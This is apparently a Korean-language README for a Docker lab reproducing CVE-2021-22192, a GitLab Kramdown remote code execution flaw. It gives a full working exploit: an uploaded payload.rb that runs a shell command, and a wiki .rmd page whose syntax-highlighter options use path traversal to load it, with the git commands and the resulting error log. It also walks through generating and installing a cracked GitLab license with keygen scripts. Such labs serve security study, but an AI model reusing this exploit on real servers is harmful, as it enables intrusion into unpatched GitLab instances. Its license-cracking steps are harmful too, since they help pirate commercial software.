
CVE-2021-22192 靶场: 未授权用户 RCE 漏洞
CVE-2021-22192 실습 환경: 인증되지 않은 사용자 RCE 취약점
CVE-2021-22192
├── README.md ............... [이 README 설명]
├── imgs .................... [README 설명 보조 이미지]
├── gitlab .................. [Gitlab 컨테이너의 마운트 디렉터리]
│ ├── Dockerfile .......... [Gitlab의 Docker 빌드 파일]
│ ├── config .............. [Gitlab 설정 마운트 디렉터리]
│ ├── data ................ [Gitlab 데이터 마운트 디렉터리]
│ ├── logs ................ [Gitlab 로그 마운트 디렉터리]
│ ├── keys ................ [Gitlab 크랙 라이선스 저장 디렉터리]
│ └── nginx ............... [Gitlab 내장 nginx 설정 디렉터리 (백업 설정, 수정 금지)]
├── runner .................. [Gitlab 컨테이너의 마운트 디렉터리]
├── license ................. [크랙 라이선스 컨테이너 빌드 디렉터리]
│ ├── Dockerfile .......... [라이선스의 Docker 빌드 파일]
│ └── license.rb .......... [크랙 라이선스 생성 Ruby 스크립트]
├── test .................... [Kramdown 디버깅 디렉터리]
├── docker-compose.yml ...... [Docker 빌드 설정]
├── keygen.ps1 .............. [Windows: 원클릭 크랙 라이선스 생성]
├── keygen.sh ............... [Linux: 원클릭 크랙 라이선스 생성]
├── run.ps1 ................. [Windows: 원클릭 Gitlab 실습 환경 실행]
├── run.sh .................. [Linux: 원클릭 Gitlab 실습 환경 실행]
├── register.ps1 ............ [Windows: 원클릭 Runner 등록]
├── register.sh ............. [Linux: 원클릭 Runner 등록]
├── stop.ps1 ................ [Windows: 원클릭 Gitlab 실습 환경 중지]
└── stop.sh ................. [Linux: 원클릭 Gitlab 실습 환경 중지]
./keygen.sh 또는 ./keygen.ps1./run.sh 또는 ./run.ps1앞서 크랙 키 쌍을 생성할 때 공개 키를 Gitlab 컨테이너 백그라운드에 이미 기록했습니다. 이제 프런트 엔드를 통해 개인 키를 Gitlab에 업로드하여 크랙을 완료해야 합니다:
./gitlab/keys/ 디렉터리에 생성되었습니다. 해당 디렉터리 아래 .gitlab-license의 내용(개인 키)을 복사합니다.Enter license key를 선택하고 개인 키를 붙여넣은 후 Upload license 버튼을 클릭하면 크랙이 완료됩니다.
./register.sh $TOKEN 또는 ./register.ps1 $TOKEN이제 모든 Repository에서 이 Runner를 사용하여 CI 스크립트(Pipeline Jobs)를 실행할 수 있습니다.

Gitlab 사용자 이름이 ${username}이고 저장소 이름이 ${repository_name}라고 가정할 때, 저장소가 jekyll을 사용하여 SSG를 성공적으로 빌드한 경우 다음 URL에 접속하면 됩니다:
http://127.0.0.1:8000/${username}/${repository_name}/public/
구체적인 과정은 hackerone을 참조하세요.
+ -> New snippet을 클릭합니다.Title은 아무렇게나 입력하고, Description (optional) 입력란을 클릭한 다음 Attach a file을 클릭하여 payload.rb 파일을 업로드합니다. 파일 내용은 다음과 같습니다:puts "hello from ruby"
`echo exp was here > /tmp/exp`
이때 Description (optional)에 해당 파일의 링크가 표시됩니다 (예: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb)). 동시에 파일이 docker_gitlab 컨테이너의 /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb에 업로드됩니다. (Create snippet은 클릭해도 되고 안 해도 되며, 파일 경로의 Hash만 기억하면 됩니다.)
참고: 특정 저장소의 왼쪽 사이드바에 있는
Snippet -> New snippet을 통해 접근하지 마십시오. 그렇지 않으면 파일 경로가[payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb)로 표시되고, 실제 docker_gitlab 컨테이너에 업로드되는 경로는/var/opt/gitlab/gitlab-rails/uploads/@hash/랜덤문자열/payload.rb가 됩니다. 중간에 랜덤 문자열이 포함되어 있어 악용하기 어렵습니다.
+ New Project를 클릭하고, 이름은 아무렇게나 지정합니다 (예: poc, 또는 생성하지 않고 기존 저장소를 사용해도 됩니다.)Wiki를 클릭한 다음 Create your first page를 클릭합니다.Title과 Content는 아무렇게나 입력하고 Create page를 클릭합니다.poc 저장소의 wiki 저장소를 생성하며, 이름은 poc.wiki입니다 (오른쪽 상단의 Clone repository를 클릭하면 clone 명령어를 찾을 수 있습니다: git clone http://127.0.0.1/root/poc.wiki.git).git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki를 실행하여 wiki 저장소를 로컬에 다운로드합니다.page1.rmd 파일을 추가합니다. 파일 내용은 다음과 같습니다 (파일 경로의 Hash는 앞서 얻은 Hash로 대체해야 합니다):{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
git add -A . && git commit -m "page1.rmd" && git pushpage1 페이지를 볼 수 있습니다. 클릭합니다./tmp/exp 파일이 생성된 것을 확인할 수 있습니다.
page1.rmd페이지를 클릭한 후gitlab/logs/gitlab-rails/exceptions_json.log에서 오류 정보를 확인할 수 있지만, 명령이 이미 실행되었기 때문에 상관없습니다:
{
"severity": "ERROR",
"time": "2021-04-26T10:36:07.978Z",
"correlation_id": "A24bByUP9L5",
"tags.correlation_id": "A24bByUP9L5",
"tags.locale": "en",
"user.id": 1,
"user.email": "[email protected]",
"user.username": "root",
"extra.project_id": 1,
"extra.file_name": "page1.rmd",
"exception.class": "NameError",
"exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
"exception.backtrace": [
"lib/gitlab/other_markup.rb:11:in `render'",
"app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
"app/helpers/markup_helper.rb:153:in `markup_unsafe'",
"app/helpers/markup_helper.rb:138:in `render_wiki_content'",
"app/views/shared/wikis/show.html.haml:25",
"app/controllers/application_controller.rb:134:in `render'",
"app/controllers/concerns/wiki_actions.rb:68:in `show'",
"ee/lib/gitlab/ip_address_state.rb:10:in `with'",
"ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
"app/controllers/application_controller.rb:491:in `set_current_admin'",
"lib/gitlab/session.rb:11:in `with_session'",
"app/controllers/application_controller.rb:482:in `set_session_storage'",
"app/controllers/application_controller.rb:476:in `set_locale'",
"lib/gitlab/error_tracking.rb:50:in `with_context'",
"app/controllers/application_controller.rb:541:in `sentry_context'",
"app/controllers/application_controller.rb:469:in `block in set_current_context'",
"lib/gitlab/application_context.rb:52:in `block in use'",
"lib/gitlab/application_context.rb:52:in `use'",
"lib/gitlab/application_context.rb:20:in `with_context'",
"app/controllers/application_controller.rb:462:in `set_current_context'",
"ee/lib/gitlab/jira/middleware.rb:19:in `call'"
]
}